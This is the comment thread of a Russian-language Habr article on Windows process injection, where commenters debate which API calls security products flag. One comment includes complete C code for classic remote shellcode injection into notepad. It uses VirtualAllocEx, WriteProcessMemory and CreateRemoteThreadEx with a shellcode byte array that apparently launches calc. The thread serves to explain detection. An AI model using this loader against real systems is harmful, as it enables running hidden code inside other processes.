Как стать автором
Обновить

Комментарии 5

OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread

Это скучно и невероятно шумно для средств защиты.

Но затем у вас идёт

hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid);

Как будто бы это не шумно для защиты :-D

С SetThreadContext в общем-то очевидно, а вот из способов протащить собственный код в чужой процесс незаметно, меня до сих пор очаровывает вот этот.

Как будто бы это не шумно для защиты 

В целом, только в одном OpenProcess без явного вызова WriteProcessMemory ничего плохого нет. Как правило, к срабатыванию СЗ приводит цепочка вызовов

в одном OpenProcess без явного вызова WriteProcessMemory ничего плохого нет.

Это единственное, что стоило бы контролировать антивирусом, аудитам. Без полученного хендла с правом на соответствующие операции никакие ни WriteProcessMemory, CreateRemoteThread, ни SetThreadContext ничего сделать не могут.

А если контролировать последние — это лишние накладные расходы, потому что подтормаживаются совершенно легитимные вызовы указанны системных сервисов.

Так что ключевой момент это как раз OpenProcess.

Без полученного хендла с правом на соответствующие операции никакие ни WriteProcessMemory, CreateRemoteThread, ни SetThreadContext ничего сделать не могут.

Конечно не могут. Только все равно, без определенной цепочки вызовов никто твой процесс блокировать не будет. OpenProcess - легитимная операция, вызываемая из очень многих приложений, и блокировать процесс только потому что там OpenProcess - сомнительная идея. Возьмем просто 2 примера и проверим на сработки в VirusTotal

1. Просто открытие процесса с PROCESS_VM_OPERATION

#include "Windows.h"
#include <iostream>

int main()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
    HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, FALSE, pi.dwProcessId);
    return 0;
}
  1. Классическое внедрение шеллкода

#include "Windows.h"
#include <iostream>

int main()
{
    unsigned char code[] =
    { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
0x01, 0xF7, 0x99, 0xFF, 0xD7 };
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
    LPVOID addr = VirtualAllocEx(hProc, NULL, sizeof(code), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProc, addr, code, sizeof(code), NULL);
    CreateRemoteThreadEx(hProc, 0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, 0, NULL);
    return 0;
}

Вроде бы, разница видна сразу же)

Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации